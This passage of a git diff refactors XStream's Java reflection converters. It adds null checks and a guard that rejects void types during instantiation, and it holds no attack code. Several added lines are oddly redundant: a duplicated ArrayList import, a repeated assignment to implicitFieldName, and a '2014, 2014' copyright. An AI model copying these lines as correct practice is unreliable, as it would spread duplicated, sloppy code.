a/xstream/src/java/com/thoughtworks/xstream/converters/reflection/AbstractReflectionConverter.java +++ b/xstream/src/java/com/thoughtworks/xstream/converters/reflection/AbstractReflectionConverter.java @@ -1,8 +1,8 @@ /* * Copyright (C) 2004, 2005, 2006 Joe Walnes. - * Copyright (C) 2006, 2007, 2008, 2009, 2010, 2011, 2012, 2013, 2014, 2015, 2016 XStream Committers. + * Copyright (C) 2006, 2007, 2008, 2009, 2010, 2011, 2012, 2013, 2014, 2015, 2016, 2018, 2022, 2024 XStream Committers. * All rights reserved. - * + * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. @@ -33,12 +33,11 @@ import com.thoughtworks.xstream.core.Caching; import com.thoughtworks.xstream.core.ReferencingMarshallingContext; import com.thoughtworks.xstream.core.util.ArrayIterator; -import com.thoughtworks.xstream.core.util.FastField; import com.thoughtworks.xstream.core.util.Fields; import com.thoughtworks.xstream.core.util.HierarchicalStreams; +import com.thoughtworks.xstream.core.util.MemberDictionary; import com.thoughtworks.xstream.core.util.Primitives; import com.thoughtworks.xstream.core.util.SerializationMembers; -import com.thoughtworks.xstream.io.ExtendedHierarchicalStreamWriterHelper; import com.thoughtworks.xstream.io.HierarchicalStreamReader; import com.thoughtworks.xstream.io.HierarchicalStreamWriter; import com.thoughtworks.xstream.mapper.CannotResolveClassException; @@ -142,89 +141,13 @@ public void visit(final String fieldName, final Class type, final Class de } }); - new Object() { - { - final Map> hiddenMappers = - new HashMap>(); - for (final FieldInfo info : fields) { - if (info.value != null) { - final Field defaultField = defaultFieldDefinition.get(info.fieldName); - Mapper.ImplicitCollectionMapping mapping = mapper.getImplicitCollectionDefForFieldName( - defaultField.getDeclaringClass() == info.definedIn ? sourceType : info.definedIn, - info.fieldName); - if (mapping != null) { - Set mappings = hiddenMappers.get(info.fieldName); - if (mappings == null) { - mappings = new HashSet<>(); - mappings.add(mapping); - hiddenMappers.put(info.fieldName, mappings); - } else { - if (!mappings.add(mapping)) { - mapping = null; - } - } - } - if (mapping != null) { - if (context instanceof ReferencingMarshallingContext) { - if (info.value != Collections.EMPTY_LIST - && info.value != Collections.EMPTY_SET - && info.value != Collections.EMPTY_MAP) { - final ReferencingMarshallingContext refContext = - (ReferencingMarshallingContext)context; - refContext.registerImplicit(info.value); - } - } - final boolean isCollection = info.value instanceof Collection; - final boolean isMap = info.value instanceof Map; - final boolean isEntry = isMap && mapping.getKeyFieldName() == null; - final boolean isArray = info.value.getClass().isArray(); - for (final Iterator iter = isArray - ? new ArrayIterator(info.value) - : isCollection - ? ((Collection)info.value).iterator() - : isEntry - ? ((Map)info.value).entrySet().iterator() - : ((Map)info.value).values().iterator(); iter.hasNext();) { - final Object obj = iter.next(); - final String itemName; - final Class itemType; - if (obj == null) { - itemType = Object.class; - itemName = mapper.serializedClass(null); - } else if (isEntry) { - final String entryName = mapping.getItemFieldName() != null - ? mapping.getItemFieldName() - : mapper.serializedClass(Map.Entry.class); - final Map.Entry entry = (Map.Entry)obj; - ExtendedHierarchicalStreamWriterHelper.startNode(writer, entryName, entry - .getClass()); - writeItem(entry.getKey(), context, writer); - writeItem(entry.getValue(), context, writer); - writer.endNode(); - continue; - } else if (mapping.getItemFieldName() != null) { - itemType = mapping.getItemType(); - itemName = mapping.getItemFieldName(); - } else { - itemType = obj.getClass(); - itemName = mapper.serializedClass(itemType); - } - writeField(info.fieldName, itemName, itemType, info.definedIn, obj); - } - } else { - writeField(info.fieldName, null, info.type, info.definedIn, info.value); - } - } - } - - } - - void writeField(final String fieldName, final String aliasName, final Class fieldType, + final FieldMarshaller fieldMarshaller = new FieldMarshaller() { + @Override + public void writeField(final String fieldName, final String aliasName, final Class fieldType, final Class definedIn, final Object newObj) { final Class actualType = newObj != null ? newObj.getClass() : fieldType; - ExtendedHierarchicalStreamWriterHelper.startNode(writer, aliasName != null - ? aliasName - : mapper.serializedMember(sourceType, fieldName), actualType); + writer.startNode(aliasName != null ? aliasName : mapper.serializedMember(sourceType, fieldName), + actualType); if (newObj != null) { final Class defaultType = mapper.defaultImplementationOf(fieldType); @@ -252,19 +175,93 @@ void writeField(final String fieldName, final String aliasName, final Class f writer.endNode(); } - void writeItem(final Object item, final MarshallingContext context, final HierarchicalStreamWriter writer) { + @Override + public void writeItem(final Object item) { if (item == null) { final String name = mapper.serializedClass(null); - ExtendedHierarchicalStreamWriterHelper.startNode(writer, name, Mapper.Null.class); + writer.startNode(name, Mapper.Null.class); writer.endNode(); } else { final String name = mapper.serializedClass(item.getClass()); - ExtendedHierarchicalStreamWriterHelper.startNode(writer, name, item.getClass()); + writer.startNode(name, item.getClass()); context.convertAnother(item); writer.endNode(); } } }; + + final Map> hiddenMappers = new HashMap<>(); + for (final FieldInfo info : fields) { + if (info.value != null) { + final boolean isCollection = info.value instanceof Collection; + final boolean isMap = info.value instanceof Map; + final boolean isArray = info.value.getClass().isArray(); + final Field defaultField = defaultFieldDefinition.get(info.fieldName); + Mapper.ImplicitCollectionMapping mapping = isCollection || isMap || isArray + ? mapper.getImplicitCollectionDefForFieldName(defaultField.getDeclaringClass() == info.definedIn + ? sourceType + : info.definedIn, info.fieldName) + : null; + if (mapping != null) { + Set mappings = hiddenMappers.get(info.fieldName); + if (mappings == null) { + mappings = new HashSet<>(); + mappings.add(mapping); + hiddenMappers.put(info.fieldName, mappings); + } else { + if (!mappings.add(mapping)) { + mapping = null; + } + } + } + if (mapping != null) { + if (context instanceof ReferencingMarshallingContext) { + if (info.value != Collections.EMPTY_LIST + && info.value != Collections.EMPTY_SET + && info.value != Collections.EMPTY_MAP) { + final ReferencingMarshallingContext refContext = + (ReferencingMarshallingContext)context; + refContext.registerImplicit(info.value); + } + } + final boolean isEntry = isMap && mapping.getKeyFieldName() == null; + for (final Iterator iter = isArray + ? new ArrayIterator(info.value) + : isCollection + ? ((Collection)info.value).iterator() + : isEntry + ? ((Map)info.value).entrySet().iterator() + : ((Map)info.value).values().iterator(); iter.hasNext();) { + final Object obj = iter.next(); + final String itemName; + final Class itemType; + if (obj == null) { + itemType = Object.class; + itemName = mapper.serializedClass(null); + } else if (isEntry) { + final String entryName = mapping.getItemFieldName() != null + ? mapping.getItemFieldName() + : mapper.serializedClass(Map.Entry.class); + final Map.Entry entry = (Map.Entry)obj; + writer.startNode(entryName, entry.getClass()); + fieldMarshaller.writeItem(entry.getKey()); + fieldMarshaller.writeItem(entry.getValue()); + writer.endNode(); + continue; + } else if (mapping.getItemFieldName() != null) { + itemType = mapping.getItemType(); + itemName = mapping.getItemFieldName(); + } else { + itemType = obj.getClass(); + itemName = mapper.serializedClass(itemType); + } + fieldMarshaller.writeField(info.fieldName, itemName, itemType, info.definedIn, obj); + } + } else { + fieldMarshaller.writeField(info.fieldName, null, info.type, info.definedIn, info.value); + } + } + } } protected void marshallField(final MarshallingContext context, final Object newObj, final Field field) { @@ -281,16 +278,7 @@ public Object unmarshal(final HierarchicalStreamReader reader, final Unmarshalli public Object doUnmarshal(final Object result, final HierarchicalStreamReader reader, final UnmarshallingContext context) { final Class resultType = result.getClass(); - @SuppressWarnings("serial") - final Set seenFields = new HashSet() { - @Override - public boolean add(final FastField e) { - if (!super.add(e)) { - throw new DuplicateFieldException(e.getName()); - } - return true; - } - }; + final MemberDictionary seenFields = new MemberDictionary(); // process attributes before recursing into child elements. final Iterator it = reader.getAttributeNames(); @@ -320,7 +308,9 @@ public boolean add(final FastField e) { exception.add("target-type", type.getName()); throw exception; } - seenFields.add(new FastField(classDefiningField, attrName)); + if (!seenFields.add(classDefiningField, attrName)) { + throw new DuplicateFieldException(attrName); + } reflectionProvider.writeField(result, attrName, value, classDefiningField); } } @@ -447,13 +437,18 @@ public boolean add(final FastField e) { if (field != null) { reflectionProvider.writeField(result, fieldName, value, field.getDeclaringClass()); - seenFields.add(new FastField(field.getDeclaringClass(), fieldName)); + if (!seenFields.add(field.getDeclaringClass(), fieldName)) { + throw new DuplicateFieldException(fieldName); + } } else if (type != null) { if (implicitFieldName == null) { // look for implicit field implicitFieldName = mapper.getFieldNameForItemTypeAndName(fieldDeclaringClass, value != null ? value.getClass() : Mapper.Null.class, originalNodeName); + implicitFieldName = mapper.getFieldNameForItemTypeAndName(fieldDeclaringClass, value != null + ? value.getClass() + : Mapper.Null.class, originalNodeName); } if (implicitCollectionsForCurrentObject == null) { implicitCollectionsForCurrentObject = new HashMap<>(); @@ -627,10 +622,7 @@ public boolean equals(final Object obj) { if (this == obj) { return true; } - if (obj == null) { - return false; - } - if (getClass() != obj.getClass()) { + if ((obj == null) || (getClass() != obj.getClass())) { return false; } final FieldLocation other = (FieldLocation)obj; @@ -659,6 +651,13 @@ private static class FieldInfo extends FieldLocation { } } + private interface FieldMarshaller { + void writeItem(final Object item); + + void writeField(final String fieldName, final String aliasName, final Class fieldType, + final Class definedIn, final Object newObj); + } + private static class ArraysList extends ArrayList { private static final long serialVersionUID = 20150926L; final Class physicalFieldType; diff --git a/xstream/src/java/com/thoughtworks/xstream/converters/reflection/CGLIBEnhancedConverter.java b/xstream/src/java/com/thoughtworks/xstream/converters/reflection/CGLIBEnhancedConverter.java index fafab290e..40d93a615 100644 --- a/xstream/src/java/com/thoughtworks/xstream/converters/reflection/CGLIBEnhancedConverter.java +++ b/xstream/src/java/com/thoughtworks/xstream/converters/reflection/CGLIBEnhancedConverter.java @@ -1,5 +1,5 @@ /* - * Copyright (C) 2006, 2007, 2008, 2010, 2011, 2013, 2014, 2015, 2016 XStream Committers. + * Copyright (C) 2006, 2007, 2008, 2010, 2011, 2013, 2014, 2015, 2016, 2018, 2020 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD @@ -29,7 +29,6 @@ import com.thoughtworks.xstream.converters.MarshallingContext; import com.thoughtworks.xstream.converters.UnmarshallingContext; import com.thoughtworks.xstream.core.ClassLoaderReference; -import com.thoughtworks.xstream.io.ExtendedHierarchicalStreamWriterHelper; import com.thoughtworks.xstream.io.HierarchicalStreamReader; import com.thoughtworks.xstream.io.HierarchicalStreamWriter; import com.thoughtworks.xstream.mapper.CGLIBMapper; @@ -97,7 +96,7 @@ public CGLIBEnhancedConverter(final Mapper mapper, final ReflectionProvider refl @Override public boolean canConvert(final Class type) { - return Enhancer.isEnhanced(type) && type.getName().indexOf(DEFAULT_NAMING_MARKER) > 0 + return type != null && Enhancer.isEnhanced(type) && type.getName().indexOf(DEFAULT_NAMING_MARKER) > 0 || type == CGLIBMapper.Marker.class; } @@ -105,7 +104,7 @@ public boolean canConvert(final Class type) { public void marshal(final Object source, final HierarchicalStreamWriter writer, final MarshallingContext context) { final Class type = source.getClass(); final boolean hasFactory = Factory.class.isAssignableFrom(type); - ExtendedHierarchicalStreamWriterHelper.startNode(writer, "type", type); + writer.startNode("type", type); context.convertAnother(type.getSuperclass()); writer.endNode(); writer.startNode("interfaces"); @@ -114,8 +113,7 @@ public void marshal(final Object source, final HierarchicalStreamWriter writer, if (interface1 == Factory.class) { continue; } - ExtendedHierarchicalStreamWriterHelper.startNode(writer, mapper.serializedClass(interface1.getClass()), - interface1.getClass()); + writer.startNode(mapper.serializedClass(interface1.getClass()), interface1.getClass()); context.convertAnother(interface1); writer.endNode(); } @@ -148,8 +146,7 @@ public void marshal(final Object source, final HierarchicalStreamWriter writer, writer.endNode(); } else { hasInterceptor = hasInterceptor || MethodInterceptor.class.isAssignableFrom(callback.getClass()); - ExtendedHierarchicalStreamWriterHelper.startNode(writer, mapper.serializedClass(callback.getClass()), - callback.getClass()); + writer.startNode(mapper.serializedClass(callback.getClass()), callback.getClass()); context.convertAnother(callback); writer.endNode(); } @@ -163,7 +160,7 @@ public void marshal(final Object source, final HierarchicalStreamWriter writer, field.setAccessible(true); } final long serialVersionUID = field.getLong(null); - ExtendedHierarchicalStreamWriterHelper.startNode(writer, "serialVersionUID", String.class); + writer.startNode("serialVersionUID", String.class); writer.setValue(String.valueOf(serialVersionUID)); writer.endNode(); } catch (final NoSuchFieldException e) { @@ -304,19 +301,19 @@ private Object[] createNullArguments(final Class[] parameterTypes) { final Class type = parameterTypes[i]; if (type.isPrimitive()) { if (type == byte.class) { - arguments[i] = new Byte((byte)0); + arguments[i] = Byte.valueOf((byte)0); } else if (type == short.class) { - arguments[i] = new Short((short)0); + arguments[i] = Short.valueOf((short)0); } else if (type == int.class) { - arguments[i] = new Integer(0); + arguments[i] = Integer.valueOf(0); } else if (type == long.class) { - arguments[i] = new Long(0); + arguments[i] = Long.valueOf(0); } else if (type == float.class) { - arguments[i] = new Float(0); + arguments[i] = Float.valueOf(0); } else if (type == double.class) { - arguments[i] = new Double(0); + arguments[i] = Double.valueOf(0); } else if (type == char.class) { - arguments[i] = new Character('\0'); + arguments[i] = Character.valueOf('\0'); } else { arguments[i] = Boolean.FALSE; } diff --git a/xstream/src/java/com/thoughtworks/xstream/converters/reflection/ExternalizableConverter.java b/xstream/src/java/com/thoughtworks/xstream/converters/reflection/ExternalizableConverter.java index fbc792f7f..b13f8dbbf 100644 --- a/xstream/src/java/com/thoughtworks/xstream/converters/reflection/ExternalizableConverter.java +++ b/xstream/src/java/com/thoughtworks/xstream/converters/reflection/ExternalizableConverter.java @@ -1,6 +1,6 @@ /* * Copyright (C) 2004, 2005, 2006 Joe Walnes. - * Copyright (C) 2006, 2007, 2008, 2010, 2011, 2013, 2014, 2015, 2016 XStream Committers. + * Copyright (C) 2006, 2007, 2008, 2010, 2011, 2013, 2014, 2015, 2016, 2018, 2020 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD @@ -30,7 +30,6 @@ import com.thoughtworks.xstream.core.util.CustomObjectOutputStream; import com.thoughtworks.xstream.core.util.HierarchicalStreams; import com.thoughtworks.xstream.core.util.SerializationMembers; -import com.thoughtworks.xstream.io.ExtendedHierarchicalStreamWriterHelper; import com.thoughtworks.xstream.io.HierarchicalStreamReader; import com.thoughtworks.xstream.io.HierarchicalStreamWriter; import com.thoughtworks.xstream.io.StreamException; @@ -80,7 +79,7 @@ public ExternalizableConverter(final Mapper mapper) { @Override public boolean canConvert(final Class type) { - return JVM.canCreateDerivedObjectOutputStream() && Externalizable.class.isAssignableFrom(type); + return type != null && JVM.canCreateDerivedObjectOutputStream() && Externalizable.class.isAssignableFrom(type); } @Override @@ -106,8 +105,7 @@ public void writeToStream(final Object object) { writer.startNode("null"); writer.endNode(); } else { - ExtendedHierarchicalStreamWriterHelper.startNode(writer, mapper.serializedClass(object - .getClass()), object.getClass()); + writer.startNode(mapper.serializedClass(object.getClass()), object.getClass()); context.convertAnother(object); writer.endNode(); } @@ -197,16 +195,12 @@ public void close() { return serializationMembers.callReadResolve(externalizable); } catch (final NoSuchMethodException e) { throw new ConversionException("Missing default constructor of type", e); - } catch (final InvocationTargetException e) { - throw new ConversionException("Cannot construct type", e); - } catch (final InstantiationException e) { + } catch (final InvocationTargetException | InstantiationException | ClassNotFoundException e) { throw new ConversionException("Cannot construct type", e); } catch (final IllegalAccessException e) { throw new ObjectAccessException("Cannot construct type", e); } catch (final IOException e) { throw new StreamException("Cannot externalize " + type.getClass(), e); - } catch (final ClassNotFoundException e) { - throw new ConversionException("Cannot construct type", e); } } diff --git a/xstream/src/java/com/thoughtworks/xstream/converters/reflection/FieldDictionary.java b/xstream/src/java/com/thoughtworks/xstream/converters/reflection/FieldDictionary.java index 82e56cf36..ac05ad354 100644 --- a/xstream/src/java/com/thoughtworks/xstream/converters/reflection/FieldDictionary.java +++ b/xstream/src/java/com/thoughtworks/xstream/converters/reflection/FieldDictionary.java @@ -1,6 +1,6 @@ /* * Copyright (C) 2004, 2005, 2006 Joe Walnes. - * Copyright (C) 2006, 2007, 2008, 2009, 2010, 2011, 2012, 2013, 2014, 2015 XStream Committers. + * Copyright (C) 2006, 2007, 2008, 2009, 2010, 2011, 2012, 2013, 2014, 2015, 2018, 2021, 2024 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD @@ -13,11 +13,13 @@ import java.lang.reflect.Field; import java.lang.reflect.Modifier; +import java.util.ArrayList; import java.util.Collections; +import java.util.ArrayList; import java.util.HashMap; import java.util.Iterator; import java.util.LinkedHashMap; -import java.util.LinkedList; +import java.util.List; import java.util.Map; import java.util.concurrent.ConcurrentHashMap; import java.util.concurrent.ConcurrentMap; @@ -111,30 +113,41 @@ private Map buildMap(final Class type, final boolean tupleKeyed) { private DictionaryEntry buildCache(final Class type) { Class cls = type; - DictionaryEntry lastDictionaryEntry = null; - final LinkedList> superClasses = new LinkedList<>(); - while (lastDictionaryEntry == null) { - if (Object.class.equals(cls) || cls == null) { - lastDictionaryEntry = OBJECT_DICTIONARY_ENTRY; - } else { - lastDictionaryEntry = dictionaryEntries.get(cls); - } - if (lastDictionaryEntry == null) { - superClasses.addFirst(cls); - cls = cls.getSuperclass(); - } + DictionaryEntry lastDictionaryEntry; + if (Object.class.equals(cls) || cls == null) { + lastDictionaryEntry = OBJECT_DICTIONARY_ENTRY; + } else { + lastDictionaryEntry = dictionaryEntries.get(cls); } - for (final Class element : superClasses) { - cls = element; - DictionaryEntry currentDictionaryEntry = dictionaryEntries.get(cls); - if (currentDictionaryEntry == null) { - currentDictionaryEntry = buildDictionaryEntryForClass(cls, lastDictionaryEntry); - final DictionaryEntry existingValue = dictionaryEntries.putIfAbsent(cls, currentDictionaryEntry); - if (existingValue != null) { - currentDictionaryEntry = existingValue; + + if (lastDictionaryEntry == null) { + final List> superClasses = new ArrayList<>(); + superClasses.add(cls); + cls = cls.getSuperclass(); + + while (lastDictionaryEntry == null) { + if (Object.class.equals(cls) || cls == null) { + lastDictionaryEntry = OBJECT_DICTIONARY_ENTRY; + } else { + lastDictionaryEntry = dictionaryEntries.get(cls); } + if (lastDictionaryEntry == null) { + superClasses.add(cls); + cls = cls.getSuperclass(); + } + } + for (int i = superClasses.size(); i-- > 0;) { + cls = superClasses.get(i); + DictionaryEntry currentDictionaryEntry = dictionaryEntries.get(cls); + if (currentDictionaryEntry == null) { + currentDictionaryEntry = buildDictionaryEntryForClass(cls, lastDictionaryEntry); + final DictionaryEntry existingValue = dictionaryEntries.putIfAbsent(cls, currentDictionaryEntry); + if (existingValue != null) { + currentDictionaryEntry = existingValue; + } + } + lastDictionaryEntry = currentDictionaryEntry; } - lastDictionaryEntry = currentDictionaryEntry; } return lastDictionaryEntry; } @@ -150,6 +163,9 @@ private DictionaryEntry buildDictionaryEntryForClass(final Class cls, } for (int i = 0; i < fields.length; i++) { final Field field = fields[i]; + if (field.isSynthetic() && field.getName().startsWith("$jacoco")) { + continue; + } if (!field.isAccessible()) { field.setAccessible(true); } diff --git a/xstream/src/java/com/thoughtworks/xstream/converters/reflection/FieldKey.java b/xstream/src/java/com/thoughtworks/xstream/converters/reflection/FieldKey.java index b18703daa..16fdd5108 100644 --- a/xstream/src/java/com/thoughtworks/xstream/converters/reflection/FieldKey.java +++ b/xstream/src/java/com/thoughtworks/xstream/converters/reflection/FieldKey.java @@ -1,5 +1,5 @@ /* - * Copyright (C) 2007, 2014 XStream Committers. + * Copyright (C) 2007, 2014, 2014 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD @@ -19,8 +19,8 @@ public class FieldKey { final private String fieldName; final private Class declaringClass; - final private int depth; final private int order; + private int depth = -1; public FieldKey(final String fieldName, final Class declaringClass, final int order) { if (fieldName == null || declaringClass == null) { @@ -29,13 +29,6 @@ public FieldKey(final String fieldName, final Class declaringClass, final int this.fieldName = fieldName; this.declaringClass = declaringClass; this.order = order; - Class c = declaringClass; - int i = 0; - while (c.getSuperclass() != null) { - i++; - c = c.getSuperclass(); - } - depth = i; } public String getFieldName() { @@ -47,7 +40,16 @@ public Class getDeclaringClass() { } public int getDepth() { - return depth; + if (this.depth == -1) { + Class c = declaringClass; + int i = 0; + while (c.getSuperclass() != null) { + i++; + c = c.getSuperclass(); + } + depth = i; + } + return this.depth; } public int getOrder() { @@ -89,7 +91,7 @@ public String toString() { + "order=" + order + ", writer=" - + depth + + getDepth() + ", declaringClass=" + declaringClass + ", fieldName='" diff --git a/xstream/src/java/com/thoughtworks/xstream/converters/reflection/NativeFieldKeySorter.java b/xstream/src/java/com/thoughtworks/xstream/converters/reflection/NativeFieldKeySorter.java index 544af247a..4349423db 100644 --- a/xstream/src/java/com/thoughtworks/xstream/converters/reflection/NativeFieldKeySorter.java +++ b/xstream/src/java/com/thoughtworks/xstream/converters/reflection/NativeFieldKeySorter.java @@ -1,5 +1,5 @@ /* - * Copyright (C) 2007, 2014 XStream Committers. + * Copyright (C) 2007, 2014, 2022 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD @@ -26,7 +26,7 @@ public class NativeFieldKeySorter implements FieldKeySorter { @Override public Map sort(final Class type, final Map keyedByFieldKey) { - final Map map = new TreeMap(new Comparator() { + final Map map = new TreeMap<>(new Comparator() { @Override public int compare(final FieldKey fieldKey1, final FieldKey fieldKey2) { diff --git a/xstream/src/java/com/thoughtworks/xstream/converters/reflection/PureJavaReflectionProvider.java b/xstream/src/java/com/thoughtworks/xstream/converters/reflection/PureJavaReflectionProvider.java index 9709f1ab2..5eff4d5cc 100644 --- a/xstream/src/java/com/thoughtworks/xstream/converters/reflection/PureJavaReflectionProvider.java +++ b/xstream/src/java/com/thoughtworks/xstream/converters/reflection/PureJavaReflectionProvider.java @@ -1,6 +1,6 @@ /* * Copyright (C) 2004, 2005, 2006 Joe Walnes. - * Copyright (C) 2006, 2007, 2009, 2011, 2013, 2014, 2015, 2016 XStream Committers. + * Copyright (C) 2006, 2007, 2009, 2011, 2013, 2014, 2015, 2016, 2020 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD @@ -22,11 +22,14 @@ import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.InvocationTargetException; +import java.lang.reflect.Method; import java.lang.reflect.Modifier; -import java.util.HashMap; import java.util.Iterator; -import java.util.Map; +import java.util.concurrent.ConcurrentHashMap; +import java.util.concurrent.ConcurrentMap; +import com.thoughtworks.xstream.converters.ConversionException; +import com.thoughtworks.xstream.converters.ErrorWritingException; import com.thoughtworks.xstream.core.util.Fields; @@ -47,7 +50,8 @@ */ public class PureJavaReflectionProvider implements ReflectionProvider { - private transient Map, byte[]> serializedDataCache; + private transient ConcurrentMap, ObjectStreamClass> objectStreamClassCache; + private transient ConcurrentMap, byte[]> serializedDataCache; protected FieldDictionary fieldDictionary; public PureJavaReflectionProvider() { @@ -61,72 +65,83 @@ public PureJavaReflectionProvider(final FieldDictionary fieldDictionary) { @Override public Object newInstance(final Class type) { - ObjectAccessException oaex = null; - try { - for (final Constructor constructor : type.getDeclaredConstructors()) { - if (constructor.getParameterTypes().length == 0) { - if (!constructor.isAccessible()) { - constructor.setAccessible(true); + ErrorWritingException ex = null; + if (type == void.class || type == Void.class) { + ex = new ConversionException("Security alert: Marshalling rejected"); + } else { + try { + for (final Constructor constructor : type.getDeclaredConstructors()) { + if (constructor.getParameterTypes().length == 0) { + if (!constructor.isAccessible()) { + constructor.setAccessible(true); + } + return constructor.newInstance(new Object[0]); } - return constructor.newInstance(new Object[0]); } - } - if (Serializable.class.isAssignableFrom(type)) { - return instantiateUsingSerialization(type); - } else { - oaex = new ObjectAccessException("Cannot construct type as it does not have a no-args constructor"); - } - } catch (final InstantiationException e) { - oaex = new ObjectAccessException("Cannot construct type", e); - } catch (final IllegalAccessException e) { - oaex = new ObjectAccessException("Cannot construct type", e); - } catch (final InvocationTargetException e) { - if (e.getTargetException() instanceof RuntimeException) { - throw (RuntimeException)e.getTargetException(); - } else if (e.getTargetException() instanceof Error) { - throw (Error)e.getTargetException(); - } else { - oaex = new ObjectAccessException("Constructor for type threw an exception", e.getTargetException()); + if (Serializable.class.isAssignableFrom(type)) { + return instantiateUsingSerialization(type); + } else { + ex = new ObjectAccessException("Cannot construct type as it does not have a no-args constructor"); + } + } catch (final InstantiationException | IllegalAccessException e) { + ex = new ObjectAccessException("Cannot construct type", e); + } catch (final InvocationTargetException e) { + if (e.getTargetException() instanceof RuntimeException) { + throw (RuntimeException)e.getTargetException(); + } else if (e.getTargetException() instanceof Error) { + throw (Error)e.getTargetException(); + } else { + ex = new ObjectAccessException("Constructor for type threw an exception", e.getTargetException()); + } } } - oaex.add("construction-type", type.getName()); - throw oaex; + ex.add("construction-type", type.getName()); + throw ex; } private Object instantiateUsingSerialization(final Class type) { ObjectAccessException oaex = null; try { - synchronized (serializedDataCache) { - byte[] data = serializedDataCache.get(type); - if (data == null) { - final ByteArrayOutputStream bytes = new ByteArrayOutputStream(); - final DataOutputStream stream = new DataOutputStream(bytes); + if (Reflections.newInstance != null) { + final ObjectStreamClass osClass = objectStreamClassCache + .computeIfAbsent(type, t -> ObjectStreamClass.lookup(type)); + return Reflections.newInstance.invoke(osClass); + } + final byte[] data = serializedDataCache.computeIfAbsent(type, t -> { + final ByteArrayOutputStream bytes = new ByteArrayOutputStream(); + final DataOutputStream stream = new DataOutputStream(bytes); + try { stream.writeShort(ObjectStreamConstants.STREAM_MAGIC); stream.writeShort(ObjectStreamConstants.STREAM_VERSION); stream.writeByte(ObjectStreamConstants.TC_OBJECT); stream.writeByte(ObjectStreamConstants.TC_CLASSDESC); - stream.writeUTF(type.getName()); - stream.writeLong(ObjectStreamClass.lookup(type).getSerialVersionUID()); + stream.writeUTF(t.getName()); + stream.writeLong(ObjectStreamClass.lookup(t).getSerialVersionUID()); stream.writeByte(2); // classDescFlags (2 = Serializable) stream.writeShort(0); // field count stream.writeByte(ObjectStreamConstants.TC_ENDBLOCKDATA); stream.writeByte(ObjectStreamConstants.TC_NULL); - data = bytes.toByteArray(); - serializedDataCache.put(type, data); + } catch (final IOException e) { + throw new ObjectAccessException("Cannot prepare data to create type by JDK serialization", e); } + return bytes.toByteArray(); + }); - final ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(data)) { - @Override - protected Class resolveClass(final ObjectStreamClass desc) throws ClassNotFoundException { - return Class.forName(desc.getName(), false, type.getClassLoader()); - } - }; - return in.readObject(); - } + final ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(data)) { + @Override + protected Class resolveClass(final ObjectStreamClass desc) throws ClassNotFoundException { + return Class.forName(desc.getName(), false, type.getClassLoader()); + } + }; + return in.readObject(); + } catch (final ObjectAccessException e) { + oaex = e; } catch (final IOException e) { oaex = new ObjectAccessException("Cannot create type by JDK serialization", e); } catch (final ClassNotFoundException e) { oaex = new ObjectAccessException("Cannot find class", e); + } catch (IllegalAccessException | IllegalArgumentException | InvocationTargetException e) { + oaex = new ObjectAccessException("Cannot create type by JDK object stream data", e); } oaex.add("construction-type", type.getName()); throw oaex; @@ -200,6 +215,21 @@ private Object readResolve() { } protected void init() { - serializedDataCache = new HashMap<>(); + objectStreamClassCache = new ConcurrentHashMap<>(); + serializedDataCache = new ConcurrentHashMap<>(); + } + + private static class Reflections { + private final static Method newInstance; + static { + Method method = null; + try { + method = ObjectStreamClass.class.getDeclaredMethod("newInstance"); + method.setAccessible(true); + } catch (final NoSuchMethodException | SecurityException e) { + // not available + } + newInstance = method; + } } } diff --git a/xstream/src/java/com/thoughtworks/xstream/converters/reflection/SerializableConverter.java b/xstream/src/java/com/thoughtworks/xstream/converters/reflection/SerializableConverter.java index 43acae5e7..66a6f6d69 100644 --- a/xstream/src/java/com/thoughtworks/xstream/converters/reflection/SerializableConverter.java +++ b/xstream/src/java/com/thoughtworks/xstream/converters/reflection/SerializableConverter.java @@ -1,6 +1,6 @@ /* * Copyright (C) 2004, 2005, 2006 Joe Walnes. - * Copyright (C) 2006, 2007, 2008, 2010, 2011, 2012, 2013, 2014, 2015, 2016 XStream Committers. + * Copyright (C) 2006, 2007, 2008, 2010, 2011, 2012, 2013, 2014, 2015, 2016, 2018, 2024 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD @@ -33,7 +33,6 @@ import com.thoughtworks.xstream.core.util.CustomObjectOutputStream; import com.thoughtworks.xstream.core.util.Fields; import com.thoughtworks.xstream.core.util.HierarchicalStreams; -import com.thoughtworks.xstream.io.ExtendedHierarchicalStreamWriterHelper; import com.thoughtworks.xstream.io.HierarchicalStreamReader; import com.thoughtworks.xstream.io.HierarchicalStreamWriter; import com.thoughtworks.xstream.io.StreamException; @@ -143,8 +142,7 @@ public void writeToStream(final Object object) { writer.startNode(ELEMENT_NULL); writer.endNode(); } else { - ExtendedHierarchicalStreamWriterHelper.startNode(writer, mapper.serializedClass(object.getClass()), - object.getClass()); + writer.startNode(mapper.serializedClass(object.getClass()), object.getClass()); context.convertAnother(object); writer.endNode(); } @@ -166,8 +164,7 @@ public void writeFieldsToStream(final Map fields) { throw new MissingFieldException(value.getClass().getName(), name); } if (value != null) { - ExtendedHierarchicalStreamWriterHelper.startNode(writer, mapper.serializedMember(source - .getClass(), name), value.getClass()); + writer.startNode(mapper.serializedMember(source.getClass(), name), value.getClass()); if (field.getType() != value.getClass() && !field.getType().isPrimitive()) { final String attributeName = mapper.aliasForSystemAttribute(ATTRIBUTE_CLASS); if (attributeName != null) { @@ -207,8 +204,7 @@ public void defaultWriteObject() { } final Class actualType = value.getClass(); - ExtendedHierarchicalStreamWriterHelper.startNode(writer, mapper.serializedMember(source - .getClass(), field.getName()), actualType); + writer.startNode(mapper.serializedMember(source.getClass(), field.getName()), actualType); final Class defaultType = mapper.defaultImplementationOf(field.getType()); if (!actualType.equals(defaultType)) { final String attributeName = mapper.aliasForSystemAttribute(ATTRIBUTE_CLASS); @@ -304,7 +300,7 @@ protected void marshalUnserializableParent(final HierarchicalStreamWriter writer writer.endNode(); } - private Object readField(final ObjectStreamField field, final Class type, final Object instance) { + private Object readField(final ObjectStreamField field, final Class type, final Object instance) { final Field javaField = Fields.find(type, field.getName()); return 